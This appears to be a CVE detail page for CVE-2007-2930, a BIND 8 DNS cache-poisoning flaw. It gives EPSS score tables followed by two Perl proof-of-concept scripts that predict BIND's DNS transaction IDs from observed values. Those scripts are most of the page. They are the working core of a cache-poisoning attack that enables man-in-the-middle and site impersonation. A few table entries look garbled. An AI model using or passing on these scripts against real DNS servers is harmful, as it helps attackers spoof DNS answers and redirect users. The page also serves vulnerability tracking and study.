CVE-2007-2930 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	12.57%	–	–
2022-04-03	–	–	12.57%	–	–
2023-02-26	–	–	12.57%	–	–
2023-03-12	–	–	–	1.85%	–
2023-03-19	–	–	–	1.85%	–
2023-03-26	–	–	–	2.15%	–
2023-08-13	–	–	–	2.13%	–
2024-01-07	–	–	–	2.84%	–
2024-02-18	–	–	–	3.53%	–
2024-03-24	–	–	–	3.91%	–
2024-06-02	–	–	–	4.4%	–
2024-06-09	–	–	–	3.64%	–
2024-07-21	–	–	–	10.56%	–
2024-08-25	–	–	–	9.58%	–
2024-12-22	–	–	–	24.09%	–
2025-02-09	–	–	–	18.58%	–
2025-01-19	–	–	–	24.09%	–
2025-02-16	–	–	–	18.58%	–
2025-03-18	–	–	–	–	18.64%
2025-03-18	–	–	–	–	18.64,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	9%
2022-04-03	95%
2023-02-26	96%
2023-03-12	86%
2023-03-19	87%
2023-03-26	88%
2023-08-13	88%
2024-01-07	9%
2024-02-18	91%
2024-03-24	92%
2024-06-02	92%
2024-06-09	92%
2024-07-21	95%
2024-08-25	95%
2024-12-22	97%
2025-02-09	96%
2025-01-19	97%
2025-02-16	96%
2025-03-18	95%
2025-03-18	95%

#source: https://www.securityfocus.com/bid/25459/info # #BIND 8 is prone to a remote cache-poisoning vulnerability because of weaknesses in its random-number generator. # #An attacker may leverage this issue to manipulate cache data, potentially facilitating man-in-the-middle, site-impersonation, or denial-of-service attacks. # #Versions of BIND from 8.2.0 through to 8.4.7 are vulnerable to this issue. # # Window of guessing # (linear impact on runtime, but also improves success rate) $WINDOW_SIZE=500; # How many predictions will be generated per (a,z) candidate # (actually twice that number) $PREDICT_SIZE=500; use Time::HiRes qw(gettimeofday); # This table is copied as is from the BIND 8.4.7 source code # (file ./src/bin/named/ns_main.c) my @nsid_multiplier_table = ( 17565, 25013, 11733, 19877, 23989, 23997, 24997, 25421, 26781, 27413, 35901, 35917, 35973, 36229, 38317, 38437, 39941, 40493, 41853, 46317, 50581, 51429, 53453, 53805, 11317, 11789, 12045, 12413, 14277, 14821, 14917, 18989, 19821, 23005, 23533, 23573, 23693, 27549, 27709, 28461, 29365, 35605, 37693, 37757, 38309, 41285, 45261, 47061, 47269, 48133, 48597, 50277, 50717, 50757, 50805, 51341, 51413, 51581, 51597, 53445, 11493, 14229, 20365, 20653, 23485, 25541, 27429, 29421, 30173, 35445, 35653, 36789, 36797, 37109, 37157, 37669, 38661, 39773, 40397, 41837, 41877, 45293, 47277, 47845, 49853, 51085, 51349, 54085, 56933, 8877, 8973, 9885, 11365, 11813, 13581, 13589, 13613, 14109, 14317, 15765, 15789, 16925, 17069, 17205, 17621, 17941, 19077, 19381, 20245, 22845, 23733, 24869, 25453, 27213, 28381, 28965, 29245, 29997, 30733, 30901, 34877, 35485, 35613, 36133, 36661, 36917, 38597, 40285, 40693, 41413, 41541, 41637, 42053, 42349, 45245, 45469, 46493, 48205, 48613, 50861, 51861, 52877, 53933, 54397, 55669, 56453, 56965, 58021, 7757, 7781, 8333, 9661, 12229, 14373, 14453, 17549, 18141, 19085, 20773, 23701, 24205, 24333, 25261, 25317, 27181, 30117, 30477, 34757, 34885, 35565, 35885, 36541, 37957, 39733, 39813, 41157, 41893, 42317, 46621, 48117, 48181, 49525, 55261, 55389, 56845, 7045, 7749, 7965, 8469, 9133, 9549, 9789, 10173, 11181, 11285, 12253, 13453, 13533, 13757, 14477, 15053, 16901, 17213, 17269, 17525, 17629, 18605, 19013, 19829, 19933, 20069, 20093, 23261, 23333, 24949, 25309, 27613, 28453, 28709, 29301, 29541, 34165, 34413, 37301, 37773, 38045, 38405, 41077, 41781, 41925, 42717, 44437, 44525, 44613, 45933, 45941, 47077, 50077, 50893, 52117, 5293, 55069, 55989, 58125, 59205, 6869, 14685, 15453, 16821, 17045, 17613, 18437, 21029, 22773, 22909, 25445, 25757, 26541, 30709, 30909, 31093, 31149, 37069, 37725, 37925, 38949, 39637, 39701, 40765, 40861, 42965, 44813, 45077, 45733, 47045, 50093, 52861, 52957, 54181, 56325, 56365, 56381, 56877, 57013, 5741, 58101, 58669, 8613, 10045, 10261, 10653, 10733, 11461, 12261, 14069, 15877, 17757, 21165, 23885, 24701, 26429, 26645, 27925, 28765, 29197, 30189, 31293, 39781, 39909, 40365, 41229, 41453, 41653, 42165, 42365, 47421, 48029, 48085, 52773, 5573, 57037, 57637, 58341, 58357, 58901, 6357, 7789, 9093, 10125, 10709, 10765, 11957, 12469, 13437, 13509, 14773, 15437, 15773, 17813, 18829, 19565, 20237, 23461, 23685, 23725, 23941, 24877, 25461, 26405, 29509, 30285, 35181, 37229, 37893, 38565, 40293, 44189, 44581, 45701, 47381, 47589, 48557, 4941, 51069, 5165, 52797, 53149, 5341, 56301, 56765, 58581, 59493, 59677, 6085, 6349, 8293, 8501, 8517, 11597, 11709, 12589, 12693, 13517, 14909, 17397, 18085, 21101, 21269, 22717, 25237, 25661, 29189, 30101, 31397, 33933, 34213, 34661, 35533, 36493, 37309, 40037, 4189, 42909, 44309, 44357, 44389, 4541, 45461, 46445, 48237, 54149, 55301, 55853, 56621, 56717, 56901, 5813, 58437, 12493, 15365, 15989, 17829, 18229, 19341, 21013, 21357, 22925, 24885, 26053, 27581, 28221, 28485, 30605, 30613, 30789, 35437, 36285, 37189, 3941, 41797, 4269, 42901, 43293, 44645, 45221, 46893, 4893, 50301, 50325, 5189, 52109, 53517, 54053, 54485, 5525, 55949, 56973, 59069, 59421, 60733, 61253, 6421, 6701, 6709, 7101, 8669, 15797, 19221, 19837, 20133, 20957, 21293, 21461, 22461, 29085, 29861, 30869, 34973, 36469, 37565, 38125, 38829, 39469, 40061, 40117, 44093, 47429, 48341, 50597, 51757, 5541, 57629, 58405, 59621, 59693, 59701, 61837, 7061, 10421, 11949, 15405, 20861, 25397, 25509, 25893, 26037, 28629, 28869, 29605, 30213, 34205, 35637, 36365, 37285, 3773, 39117, 4021, 41061, 42653, 44509, 4461, 44829, 4725, 5125, 52269, 56469, 59085, 5917, 60973, 8349, 17725, 18637, 19773, 20293, 21453, 22533, 24285, 26333, 26997, 31501, 34541, 34805, 37509, 38477, 41333, 44125, 46285, 46997, 47637, 48173, 4925, 50253, 50381, 50917, 51205, 51325, 52165, 52229, 5253, 5269, 53509, 56253, 56341, 5821, 58373, 60301, 61653, 61973, 62373, 8397, 11981, 14341, 14509, 15077, 22261, 22429, 24261, 28165, 28685, 30661, 34021, 34445, 39149, 3917, 43013, 43317, 44053, 44101, 4533, 49541, 49981, 5277, 54477, 56357, 57261, 57765, 58573, 59061, 60197, 61197, 62189, 7725, 8477, 9565, 10229, 11437, 14613, 14709, 16813, 20029, 20677, 31445, 3165, 31957, 3229, 33541, 36645, 3805, 38973, 3965, 4029, 44293, 44557, 46245, 48917, 4909, 51749, 53709, 55733, 56445, 5925, 6093, 61053, 62637, 8661, 9109, 10821, 11389, 13813, 14325, 15501, 16149, 18845, 22669, 26437, 29869, 31837, 33709, 33973, 34173, 3677, 3877, 3981, 39885, 42117, 4421, 44221, 44245, 44693, 46157, 47309, 5005, 51461, 52037, 55333, 55693, 56277, 58949, 6205, 62141, 62469, 6293, 10101, 12509, 14029, 17997, 20469, 21149, 25221, 27109, 2773, 2877, 29405, 31493, 31645, 4077, 42005, 42077, 42469, 42501, 44013, 48653, 49349, 4997, 50101, 55405, 56957, 58037, 59429, 60749, 61797, 62381, 62837, 6605, 10541, 23981, 24533, 2701, 27333, 27341, 31197, 33805, 3621, 37381, 3749, 3829, 38533, 42613, 44381, 45901, 48517, 51269, 57725, 59461, 60045, 62029, 13805, 14013, 15461, 16069, 16157, 18573, 2309, 23501, 28645, 3077, 31541, 36357, 36877, 3789, 39429, 39805, 47685, 47949, 49413, 5485, 56757, 57549, 57805, 58317, 59549, 62213, 62613, 62853, 62933, 8909, 12941, 16677, 20333, 21541, 24429, 26077, 26421, 2885, 31269, 33381, 3661, 40925, 42925, 45173, 4525, 4709, 53133, 55941, 57413, 57797, 62125, 62237, 62733, 6773, 12317, 13197, 16533, 16933, 18245, 2213, 2477, 29757, 33293, 35517, 40133, 40749, 4661, 49941, 62757, 7853, 8149, 8573, 11029, 13421, 21549, 22709, 22725, 24629, 2469, 26125, 2669, 34253, 36709, 41013, 45597, 46637, 52285, 52333, 54685, 59013, 60997, 61189, 61981, 62605, 62821, 7077, 7525, 8781, 10861, 15277, 2205, 22077, 28517, 28949, 32109, 33493, 3685, 39197, 39869, 42621, 44997, 48565, 5221, 57381, 61749, 62317, 63245, 63381, 23149, 2549, 28661, 31653, 33885, 36341, 37053, 39517, 42805, 45853, 48997, 59349, 60053, 62509, 63069, 6525, 1893, 20181, 2365, 24893, 27397, 31357, 32277, 33357, 34437, 36677, 37661, 43469, 43917, 50997, 53869, 5653, 13221, 16741, 17893, 2157, 28653, 31789, 35301, 35821, 61613, 62245, 12405, 14517, 17453, 18421, 3149, 3205, 40341, 4109, 43941, 46869, 48837, 50621, 57405, 60509, 62877, 8157, 12933, 12957, 16501, 19533, 3461, 36829, 52357, 58189, 58293, 63053, 17109, 1933, 32157, 37701, 59005, 61621, 13029, 15085, 16493, 32317, 35093, 5061, 51557, 62221, 20765, 24613, 2629, 30861, 33197, 33749, 35365, 37933, 40317, 48045, 56229, 61157, 63797, 7917, 17965, 1917, 1973, 20301, 2253, 33157, 58629, 59861, 61085, 63909, 8141, 9221, 14757, 1581, 21637, 26557, 33869, 34285, 35733, 40933, 42517, 43501, 53653, 61885, 63805, 7141, 21653, 54973, 31189, 60061, 60341, 63357, 16045, 2053, 26069, 33997, 43901, 54565, 63837, 8949, 17909, 18693, 32349, 33125, 37293, 48821, 49053, 51309, 64037, 7117, 1445, 20405, 23085, 26269, 26293, 27349, 32381, 33141, 34525, 36461, 37581, 43525, 4357, 43877, 5069, 55197, 63965, 9845, 12093, 2197, 2229, 32165, 33469, 40981, 42397, 8749, 10853, 1453, 18069, 21693, 30573, 36261, 37421, 42533 ); @res=@ARGV; $SIZE=scalar(@res); if ($SIZE<5) { die "Use command line arguments to specify 5+ consecutive TRXIDs"; } sub invert { my $x=shift; $inv_x=1; for (my $b=1;$b<=16;$b++) { if ((($x*$inv_x) % (1<<$b))!=1) { $inv_x|=(1<<($b-1)); } } return $inv_x; } @inv_tab=(); for (my $inv_maker=0;$inv_maker<0x8000;$inv_maker++) { push @inv_tab,0; push @inv_tab,invert($inv_maker*2+1); } %a_to_index=(); for (my $i=0;$i<1024;$i++) { $a_to_index{$nsid_multiplier_table[$i]}=$i; } sub add_to_temp_set { my $v1=shift; my $v2=shift; my $a=shift; my $len=shift; my $ap=1; my $sum=0; for (my $i=1;$i<$len;$i++) { $sum=($sum+$ap) % 65536; $ap=($ap*$a) % 65536; my $c=($ap*$v1) % 65536; $c=($v2-$c) % 65536; for ($t=0;$t<16;$t++) { if (($sum>>$t) & 1) { last; } } if (($c & ((1<<$t)-1))) { # equation has no solution since $c is # not divisible by 2^$t. next; } if ((($c>>$t) & 1) == 0) { # $z will come out even. we know this is # not the right solution next; } my $inv_sum=$inv_tab[$sum>>$t]; my $basis=($inv_sum*($c>>$t)) % 65536; for (my $k=0;$k<(1<<$t);$k++) { $temp_set{(($k<<(16-$t))+$basis) % 65536}=1; } } } %set=(); %temp_set=(); my %a_set=(); for (my $i=0;$i<1024;$i++) { my $a=$nsid_multiplier_table[$i]; if ($a_set{$inv_tab[$a]}) { next; } $a_set{$a}=1; } @a_list=keys %a_set; @good_a=(); @good_z=(); my $start_time=gettimeofday(); for (my $index=0;$index<1024/2;$index++) { $a=$a_list[$index]; for (my $j=0;$j<($SIZE-1);$j++) { my $v1=$res[$j]; my $v2=$res[$j+1]; %temp_set=(); add_to_temp_set($v1,$v2,$a,$WINDOW_SIZE); add_to_temp_set($v2,$v1,$a,$WINDOW_SIZE); if ($j==0) { %set=%temp_set; } else { %new_set=(); foreach $key (keys %set) { if ($temp_set{$key}) { $new_set{$key}=1; } } %set=%new_set; } if (scalar(keys %set)==0) { last; } } if (scalar(keys %set)>0) { # Check a,z $cand_a=$a; $cand_z=(keys %set)[0]; my $ok=1; if (not defined $a_to_index{$cand_a}) { $ok=0; } my $a1ndx=$a_to_index{$cand_a}; if ((($cand_z>>1) & 3) != (($a1ndx>>3) & 3)) { $ok=0; } if ($ok) { push @good_a,$cand_a; push @good_z,$cand_z; } # Check inverse(a) and its corresponding z $cand_a=$inv_tab[$a]; $cand_z=(-$inv_tab[$a]*$cand_z) % 65536; $ok=1; if (not defined $a_to_index{$cand_a}) { $ok=0; } $a1ndx=$a_to_index{$cand_a}; if ((($cand_z>>1) & 3) != (($a1ndx>>3) & 3)) { $ok=0; } if ($ok) { push @good_a,$cand_a; push @good_z,$cand_z; } } } %pred=(); for (my $cand=0;$cand<scalar(@good_a);$cand++) { #Find optimal starting point my $pos=0; my $max_pos=0; my $best=$res[0]; for (my $p=1;$p<$SIZE;$p++) { my $x=$res[$p-1]; my $k; for ($k=1;$k<$WINDOW_SIZE;$k++) { $x=($good_a[$cand]*$x+$good_z[$cand]) % 65536; if ($x==$res[$p]) { last; } } if ($k<$WINDOW_SIZE) { $pos+=$k; if ($pos>$max_pos) { $max_pos=$pos; $best=$res[$p]; } next; } # Not found in forward lookup. Try backward my $x=$res[$p]; my $k; for ($k=1;$k<$WINDOW_SIZE;$k++) { $x=($good_a[$cand]*$x+$good_z[$cand]) % 65536; if ($x==$res[$p-1]) { last; } } if ($k<$WINDOW_SIZE) { $pos-=$k; next; } die "Shouldn't get here..."; } #Forward my $val=$best; for (my $i=1;$i<=$PREDICT_SIZE;$i++) { $val=((($good_a[$cand]*$val) % 65536)+$good_z[$cand]) % 65536; $pred{$val}=1; } #Backward my $a2=$inv_tab[$good_a[$cand]]; my $z2=((-$a2)*($good_z[$cand])) % 65536; $val=$best; for (my $i=1;$i<=$PREDICT_SIZE;$i++) { $val=((($a2*$val) % 65536)+$z2) % 65536; $pred{$val}=1; } } my $end_time=gettimeofday(); print "Predicted possible next TRXID Values (dictionary order): \n". join(" ",sort(keys %pred))."\n\n"; print "Total ".(scalar(keys %pred))." candidates found\n\n"; print "INFO: ".($end_time-$start_time)." seconds elapsed\n";

source: https://www.securityfocus.com/bid/25459/info BIND 8 is prone to a remote cache-poisoning vulnerability because of weaknesses in its random-number generator. An attacker may leverage this issue to manipulate cache data, potentially facilitating man-in-the-middle, site-impersonation, or denial-of-service attacks. Versions of BIND from 8.2.0 through to 8.4.7 are vulnerable to this issue. $TRXID1=$ARGV[0]; $TRXID2=$ARGV[1]; $TRXID3=$ARGV[2]; $d1=($TRXID2-$TRXID1) % 65536; if (($d1 & 1) == 0) { die "Impossible: d1 is even"; } $d2=($TRXID3-$TRXID2) % 65536; if (($d2 & 1) == 0) { die "Impossible: d2 is even"; } # Calculate $inv_d1=($d1)^(-1) $inv_d1=1; for (my $b=1;$b<=16;$b++) { if ((($d1*$inv_d1) % (1<<$b))!=1) { $inv_d1|=(1<<($b-1)); } } my $a=($inv_d1 * $d2) % 65536; my $z=($TRXID2-$a*$TRXID1) % 65536; print "a=$a z=$z\n"; print "Next TRXID is ".(((($a*$TRXID3) % 65536)+$z) % 65536)."\n"; exit(0);